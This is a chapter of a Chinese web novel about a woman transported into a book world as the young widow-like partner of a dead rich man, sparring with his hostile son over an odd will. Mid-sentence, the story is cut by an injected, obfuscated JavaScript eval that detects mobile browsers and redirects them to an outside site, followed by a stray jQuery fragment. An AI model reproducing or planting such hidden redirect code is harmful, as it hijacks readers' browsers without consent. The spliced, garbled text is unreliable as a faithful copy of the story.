一觉醒来,桂千荷从床上弹起,摸摸脑袋,摸摸腿,确定自己四肢还健全,这才松了口气。
不过……这是哪里?
整间卧室装修得奢华复古,实木家具价值不菲,上面摆放的瓷器不知真假;她掀开被子,指腹感受到布料上乘的质感。
一脚踩到柔软的地毯上,她拉开厚重的窗帘,满是绿色,草地平整,树木有型,有人精心打理。
回身瞧见墙上挂着一幅巨大的婚纱照,新娘是她自己,新郎是个陌生的中年老人,如果她父亲还活着,估计和他差不多年纪。
桂千荷又坐回床上,巨大的信息量令她的额头发烫。
她默默告诉自己要冷静,这几年大风大浪都经历过了,还怕什么?
怕,真怕。这可是超自然事件。
她下意识摸向心口,冰凉又陌生的触感令她心惊。
低头一瞥,坠在胸前的蓝宝石闪着微光。
她想拿起来仔细看看,蓝宝石却消失了。
小说中的主角可能会打自己耳光或者掐自己来判断是不是做梦,桂千荷认为她不用伤害自己,因为蓝宝石已经说明一切。
她确实进入了所谓的书中世界,要在这里待十天,也就是现实世界中的一个晚上。
她在这本书中的身份可能是某富豪的妻子。
大概率是续弦。
稍微适应了自己的身份,她穿上拖鞋,熟悉了一下卧室的布局,去浴室洗漱,到衣帽间选了一条好看的裙子,甚至还破天荒化了个淡妆。
看着镜子里的自己,她默念老人说过的话:“好好体验人生吧!”
十八岁到二十七岁,她辛苦了这么久,终于还清债务,也该放松啦!
收拾妥当,她想出门才发现自己没手机。
一阵翻箱倒柜,她终于在床底下找到电量百分之五十的手机,面容解锁,没有未接来电也没有未读信息,要不是通讯录里存了几个号码,她还以为手机被刷机了。
点开社交软件,联系人只有十三个,挨个点进去,十个是富太太,剩下三个分别是管家、司机和备注为“沈”的“丈夫”。
她与“丈夫”的聊天记录停在一个月前,最早的聊天记录在四个月前。
也就是说,他们可能在四个月前认识、结婚,一个月前再没有联系。
翻看之前的聊天记录,透露的信息很少,多是“她”要钱买东西,对方痛快转账,还附加一句“自愿转账,永不追回”。
前前后后转了几十万。
她点开余额,一排零看得她热血沸腾!
现实中的她还清债务,余额清零,书中的她,俨然半个富婆。
收好手机,她深呼吸几次做好心理建设,打开卧室门。
她住在三楼,顶楼,上方夸张的水晶吊灯发出耀眼的光芒。
她扶住木质栏杆,往下看了一眼,担心水晶吊灯砸下去造成命案。
来到一楼,佣人端着早餐从她身边走过,稍稍顿足叫了一声“夫人”。
桂千荷点头,跟着他们去吃早饭。
刚坐下,管家模样的男人走过来,面色严肃,她不禁挺直后背,有点紧张。
“夫人,少爷很快就回来了,陈律师也在来的路上,今天就能顺利宣读先生的遗嘱。”管家的语气毫无起伏,眼神不太友善。
桂千荷面无表情地点头,待他转身离开,才敢有表情。
怪不得他们的聊天记录停在一个月之前,原来她的“丈夫”去世了。
“少爷”应该是她的“继子”。
她闻到一股狗血味——豪门遗产争夺战,“继子”可能会把亲爹的死怪到她头上。
蓦地,她想起老人的话:你就是主角。
主角什么都不怕。
桂千荷瞬间有了底气,轻松地吃完早餐。
来到客厅,她看到“丈夫”的遗照,比婚纱照看起来更年长,头发几乎全白了。
死者为大,她拿起旁边的香,点燃,拜了三拜,伸手去插。
“装什么呢?”男人低沉又蕴含怒意的声音响起,同时将她手中的三根香抽走,随手扔到地上,定制皮鞋重重地踩上去碾了几个来回,四分五裂。
桂千荷被吓到,匆忙往后退,又被男人拽回去。
她被迫仰视,看清楚男人的脸。
他的眉眼和遗照上的男人有几分相似,鼻梁高挺,下颌线清晰,嘴唇抿成一条线;他眼中闪着怒火,恨不得把眼前的女人生吞活剥。
“凶手。”他恶狠狠地吐出两个字,甩开她的手,嫌恶地掏出手帕,用力地擦拭碰过她的每一根手指,最后把手帕扔进垃圾桶。
桂千荷揉揉酸痛的手腕,暗叹自己实在是有先见之明。
还有个陈律师没到场,她暂时不跟他一般见识,身为主角,她坚信财产一定有她的一份。
拿到钱,她直接去享受生活!
想到这些,她的嘴角难以压住,为避免和他再起冲突,她往沙发一坐,侧身对他,然后肆无忌惮地无声笑起来。
沈桐衡是在接到父亲死讯时才知道他再婚了,娶了一个比他还小几岁的女人。
据说遗嘱是在婚后立的,管家王叔催他尽快回来,担心他一分钱都得不到,同时暗示他父亲的死可能和这个女人有关。
但是尸检报告显示父亲死于心脏病,且父亲发病时在外地,这个女人在家里,佣人和四周的监控都能证明,她拥有完美的不在场证明。
他恨父亲,但不恨父亲的钱,他不会把自己应得的东西拱手让人,尤其这其中还有母亲的份儿。
集团那边有李叔坐镇,暂时没出乱子。
至于家里……
锐利的目光扫过去,女人的连衣裙勾勒出曼妙的身形,他想起刚才那张人畜无害的漂亮脸庞,不禁冷笑。
能骗到他爸的女人,绝不是看起来这么简单。
二人分据沙发两端,安静的客厅弥漫着透明的硝烟。
门铃响起,管家王叔去开门,迎陈律师进来。
桂千荷抬眼看过去,男人起身和陈律师握手寒暄。
陈律师客气地回应几句,目光落在桂千荷身上,带着几分试探:“您就是沈太太吧?”
“沈太太”三个字令她和沈桐衡都有点不舒服。
“我是,陈律师您好。”硬着头皮承认身份,她起身和陈律师打招呼。
“人到齐了就好,接下来我将宣读沈先生的遗嘱,请二位坐下听就好。”陈律师扶扶眼镜,从公文包中拿出密封的文件袋,向他们展示,“遗嘱在完成后、沈先生确认无误签字后,直接封存,没有再被打开过。”
他当着二人的面儿打开密封袋,取出遗嘱。
桂千荷紧张得手心出汗。
“沈先生的财产分配如下:位于贵枣东路88号的住宅,归独子沈桐衡和千荷女士共同所有,五年内,二人不得将此房产过户给第三人或对方,更不得售卖。”
“集团股份归独子沈桐衡所有,银行卡内现金由千荷女士继承。”
“其他房产……二人共同所有,原则同第一条。”
“如果沈桐衡先生发生意外,所有遗产由千荷女士继承。”
“最后,沈桐衡先生继承以上遗产的条件是必须赡养千荷女士,否则遗产全部由千荷女士处理……”
沈桐衡听不下去了,他黑着脸站起身,指着桂千荷质问陈律师:“她是谁,凭什么要求我赡养她?你确定我爸立遗嘱的时候神志清醒吗?这份遗嘱看似将遗产分给我和她,实际上只要她一句话,我就什么都拿不到,是不是?”
陈律师面露难色:“从遗嘱上看,确实如此。”
桂千荷只爽了一瞬,听到最后也有点不好意思了。
她年纪轻轻,虽然从辈分上看是继母,但说什么赡养就太奇怪了。
沈桐衡对她和父亲的厌恶到达顶峰。
为了遗产,他将剩下的话咽回去,努力让自己的语气平和下来,“她和我爸领证了吗?”
陈律师摇头:“沈先生与千荷女士没有领证。”
桂千荷和沈桐衡都瞪大眼睛。
“没领证她凭什么继承我爸的遗产?凭什么要我赡养她?”他将“赡养”二字说得极重,恨不得掀开亲爹的棺材问问,到底被她灌了什么迷魂汤。
桂千荷也想问凭什么,原来她和所谓的“丈夫”不是合法夫妻,顶多算是男女朋友?她继承哪门子遗产……不愧是书中世界,这么离谱的遗嘱都能有法律效力。
“对不起,您的父亲一定要这么写,并且附加了几分赠与协议,所以您不必怀疑这份遗嘱的合法性。如果您坚决不赡养千荷女士,您父亲的全部遗产将由千荷女士一人继承。”陈律师严肃解释,眼神示意沈桐衡不要冲动,否则真的一无所有。
桂千荷默默举手:“打断一下,如果我放弃继承呢?”
沈桐衡皱眉看她,不知道她在打什么鬼主意。
陈律师回答:“对不起千荷女士,您无权放弃。”
啊?这说的是人话吗?剧情太魔幻了。
桂千荷哑口无言。
“遗嘱已经宣读完毕,二位若是没有问题……”
“没问题,”沈桐衡皮笑肉不笑,做人要能屈能伸,先把遗产拿到手再说,“我会好好赡养千荷女士,让我爸死得瞑目。”
桂千荷听得毛骨悚然,但想到自己是主角,她又挺直腰背,朝陈律师微笑:“我也没问题。”
“好的,那我回律所和同事安排一下,这几天尽快完成继承流程。”陈律师收好遗嘱,拎起公文包,向二人告辞,“我先走了。”
客厅剩下桂千荷和沈桐衡两个人。
男人身上的低气压扩散开来,她有点呼吸不畅,转身想回卧室休息,没走几步,身后传来急促的脚步声,她又被男人拽过去。
“说话就说话,别总动手动脚的!”桂千荷想甩开男人的手,却被他握得更紧。
“下午我就搬回来,好好和你相处。”他从牙缝儿里挤出这句话,冰冷的眼中闪过几分戏谑,“你说,我该叫你什么好呢?阿姨?姐姐?还是……”他猛地凑近,鼻尖差点儿撞上她的,声音低到只有他们才能听清,“小妈?”
桂千荷的鸡皮疙瘩都起来了,无措之余又涌起一股求胜欲,反正不是现实,就该放飞自我、痛痛快快地玩!
书中世界,她是主角,发疯解压!
她扬起嘴角,朝他靠近,逼得他不得不后退。
捕捉到他眼底的慌乱,她更得意,眨眼装无辜:“或者,你可以直接叫我的名字,千荷。”
“那我该叫你什么呢?”握着她的手已经松了,她反客为主,抬手将他推到沙发上,俯身看他,“儿子?还是……”
她凑近他发红的耳朵,学着他的语气:“哥哥?”
女人的温度和香气将他包裹。
他脸色骤变,心跳和呼吸全乱了,他狼狈地躲开她,起身逃出去。
走到院子里,他大口呼吸,恼羞成怒,一拳砸到木制花架上。
这个女人果然不简单!
他绝对不能掉以轻心,他一定要想到办法让她净身出户!
屋内。
桂千荷抚着心口坐下,警惕地盯着大门,担心沈桐衡杀个回马枪。
发疯虽爽,冷静下来又有点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765921|174589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尬。
她使劲揉揉脸颊,脑海中闪过刚才的画面,惊讶地发现自己竟然有点表演天赋,可惜这里没有摄像机,她无法复盘,但从沈桐衡的反应来看,她的演技不错。
她要维持住这个人设,治住嚣张的“继子”。
她没打算夺人家财,只是想在这十天里过得舒舒服服。
午后,桂千荷午睡醒来,心情大好,她换了件白色旗袍,上面用银线绣着并蒂莲;她将头发梳成丸子头,露出白皙的脖颈,对镜端详,她觉得脖子有点空空的,拉开抽屉选了条珍珠项链,再搭配珍珠耳钉。
女为自己容,越看越开心。
她打开门出去,步伐轻快,走到楼梯口才发现搬运工正往房子里搬纸箱,两三个人搬一个,重量可想而知。
她刚想问这是什么,就见沈桐衡迈进来,指挥佣人将箱子打开。
他搬家的效率真高,她忍不住想给他竖大拇指。
沈桐衡仍旧心烦意乱,看到客厅的沙发就想到那个女儿的大胆行径,更恨自己当时的反应,暗骂自己没用。
气愤之际,他抬头看到楼上的女人。
旗袍比长裙更能勾勒出一个人的身形,珍珠又给她添了几分珠圆玉润之气,白色衬得她整个人都在发光。
沈桐衡差点儿挪不开眼,如果现在周围没人,他一定要给自己一巴掌。
难道他像他厌恶的父亲一样,无法抗拒这个女人?
他感到恶心,他绝对不是父亲那样的人。
桂千荷朝他友善地微笑,他的目光一下子变冷,扭头看门外,留给她一个圆润的后脑勺。
她也不在意,下楼直接去厨房,在冰箱里拿了草莓和樱桃,清洗干净装进玻璃碗,一边看搬家,一边吃。
沈桐衡的余光不受控制地关注她。
她似乎一直在看他。
这个结论令他的心跳有点乱。
搬家工人很快将所有箱子卸完,沈桐衡清点无误后,他们离开。
他不喜欢太多外人进他的卧室,收拾只能由家中佣人来,其中王叔最积极,一把年纪但身子骨十分硬朗,来来回回像个高速转动的陀螺。
沈桐衡几次想帮忙,都被他拒绝。
“少爷,您回来是做大事的,这点小事就交给我们。”他的声音极低,目光指向正在吃水果的桂千荷,“这事不好办。”
沈桐衡只能点头。
桂千荷看累了,端着玻璃碗去了花园,绿草如茵,她坐到秋千椅上,想起小时候和父母在草地上放风筝。
妈妈,爸爸,我现在也过上好日子啦!你们看到了吗?
她的眼睛有点酸,仰头眨眼,把即将涌出的眼泪送回去。
快乐的时候不要流泪。
身后传来踩草地的声响,桂千荷回头,穿着白衬衫的沈桐衡走过来。
他没看她,却停在秋千椅旁边。
桂千荷立刻入戏。
她把玻璃碗递向他:“你吃樱桃还是草莓?”
沈桐衡偏头:“不吃。”
“不吃你过来干什么?”她站起来,捏起一颗樱桃往他唇上一戳,笑得灿烂,“过来看我?这么孝顺啊。”
唇上一凉,他下意识屏住呼吸,身体深处因这点凉激起轻微战栗;憋得太久,再次呼吸时,不仅闻到草莓和樱桃的味道,还有一股淡淡的、难以形容的香气。
跟他在沙发上闻到的一样。
他的耳朵不争气地红起来。
桂千荷又用樱桃戳他,小声说:“张嘴。”
他真的张嘴了,樱桃被塞进去,他如梦初醒,本能闭嘴,牙齿破开樱桃,酸甜的汁水在口腔里炸开。
“好吃吧?”她把樱桃放进嘴里,在现实世界她可买不起这种品质的樱桃,她要在书里吃个够。
男人没回答,嘴巴像被冻住了,木头似的站了一会儿,突然落荒而逃。
桂千荷看着他的身影,笑出声来。
晚餐极其丰盛,厨子们为了欢迎少爷回来,把拿手好菜都做了,堪比满汉全席。
桂千荷比沈桐衡先到,反正她是“长辈”,坐下就开吃。
餐桌实在太大,她干脆开启自助餐模式,端着盘子从桌子这头夹到桌子那头。
沈桐衡站在楼上,静静地看她走来走去,一派天真无害的模样。
这女人真会演戏。
他五指收紧,转头看到父亲的遗照;他绝对不会成为自己厌恶的人,他绝对不会被这个女人蛊惑。
桂千荷端着堆成山的盘子坐下时,沈桐衡才到。
他换了一身家居服,面色平静地拿起刀叉吃饭,动作斯文,像极了小说里的富贵少爷。
桂千荷想起小时候被母亲要求吃饭要“淑女”,后来由于生活所迫,她早就忘了什么餐桌礼仪,甚至不需要餐桌,马路边、走廊……任何地方都是她的“餐桌”。
只要能吃饭就行。
不过苦日子已经过去了,接下里全是好日子。
桂千荷开心地扬起嘴角,盘中的食物变得更加美味。
沈桐衡这段饭吃得味同嚼蜡,他克制自己不去看她,但可恶的是,他能从轻微的声响中听出她的心情很好,每道菜她都喜欢。
他恨自己绝佳的听力。
桂千荷先吃饱,留下一句“你慢慢吃”,迈着轻快的步伐上楼梯。
到了三楼才发现,沈桐衡的卧室就在隔壁。
讨厌她还住她隔壁,这人真怪。
等女人的房门关上,沈桐衡放下刀叉,去花园里走了十几圈才回来,冲了个冷水澡,翻来覆去直到凌晨才睡着。
一墙之隔,桂千荷睡得很好。